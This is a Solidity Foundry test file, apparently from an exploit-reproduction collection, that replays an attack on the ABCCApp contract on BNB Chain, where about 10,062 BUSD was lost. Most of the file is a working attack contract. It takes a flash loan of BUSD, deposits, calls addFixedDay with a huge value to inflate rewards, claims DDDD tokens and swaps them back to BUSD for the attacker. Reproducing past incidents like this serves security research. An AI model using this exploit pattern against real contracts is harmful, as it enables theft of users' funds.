src/test/2025-08/ABCCApp_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 10,062 BUSD
8// Attacker : https://bscscan.com/address/0x53feee33527819bb793b72bd67dbf0f8466f7d2c
9// Attack Contract : https://bscscan.com/address/0x90e076ef0fed49a0b63938987f2cad6b4cd97a24
10// Vulnerable Contract : https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5
11// Attack Tx : https://bscscan.com/tx/0xee4eae6f70a6894c09fda645fb24ab841e9847a788b1b2e8cb9cc50c1866fb12
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x1bc016c00f8d603c41a582d5da745905b9d034e5#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1959457212914352530
19// Hacking God : N/A
20 
21address constant PANCAKE_ROUTER = 0x1b81D678ffb9C0263b24A97847620C99d213eB14;
22address constant ERC1967PROXY = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
23address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
24address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
25address constant DDDD_TOKEN = 0x422cBee1289AAE4422eDD8fF56F6578701Bb2878;
26address constant ABCCAPP_TOKEN = 0x1bC016C00F8d603c41A582d5Da745905B9D034e5;
27 
28contract ABCCApp_exp is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 58_615_055 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = BSC_USD;
35 
36        vm.label(PANCAKE_ROUTER, "PancakeSwap: SwapRouter V3");
37        vm.label(ERC1967PROXY, "ERC1967Proxy");
38        vm.label(WBNB_ADDR, "WBNB");
39        vm.label(BSC_USD, "BUSD");
40        vm.label(DDDD_TOKEN, "DDDD");
41        vm.label(ABCCAPP_TOKEN, "ABCCApp");
42    }
43 
44    function testExploit() public balanceLog {
45        AttackContract attackContract = new AttackContract();
46        attackContract.start();
47    }
48 
49    receive() external payable {}
50}
51 
52contract AttackContract {
53    address attacker;
54    uint256 borrowedAmount = 12_500_000_000_000_000_000_000;
55 
56    constructor() {
57        attacker = msg.sender;
58    }
59 
60    function start() public {
61        IERC1967Proxy(ERC1967PROXY).flashLoan(BSC_USD, borrowedAmount, "");
62        uint256 balance = TokenHelper.getTokenBalance(BSC_USD, address(this));
63        TokenHelper.transferToken(BSC_USD, attacker, balance);
64    }
65 
66    function onMoolahFlashLoan(uint256 assets, bytes calldata userData) external {
67        TokenHelper.approveToken(BSC_USD, ERC1967PROXY, assets);
68        TokenHelper.approveToken(BSC_USD, ABCCAPP_TOKEN, assets);
69        IABCCApp(ABCCAPP_TOKEN).deposit(125, address(0));
70        IABCCApp(ABCCAPP_TOKEN).addFixedDay(1_000_000_000);
71        IABCCApp(ABCCAPP_TOKEN).claimDDDD();
72 
73        uint256 balance = TokenHelper.getTokenBalance(DDDD_TOKEN, address(this));
74        require(balance > 0, "No DDDD tokens received");
75        TokenHelper.approveToken(DDDD_TOKEN, PANCAKE_ROUTER, balance);
76 
77        ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams({
78            path: hex"422cbee1289aae4422edd8ff56f6578701bb28780009c4bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0001f455d398326f99059ff775485246999027b3197955",
79            recipient: address(this),
80            deadline: block.timestamp + 100,
81            amountIn: balance,
82            amountOutMinimum: 0
83        });
84        ISwapRouter(PANCAKE_ROUTER).exactInput(params);
85    }
86 
87    receive() external payable {}
88}
89 
90interface IERC1967Proxy {
91    function flashLoan(address token, uint256 assets, bytes calldata data) external;
92}
93 
94interface ISwapRouter {
95    struct ExactInputParams {
96        bytes path;
97        address recipient;
98        uint256 deadline;
99        uint256 amountIn;
100        uint256 amountOutMinimum;
101    }
102 
103    function exactInput(ExactInputParams memory params) external returns (uint256);
104}
105 
106interface IABCCApp {
107    function deposit(uint256 number, address referer) external;
108    function addFixedDay(uint256 target) external;
109    function claimDDDD() external;
110}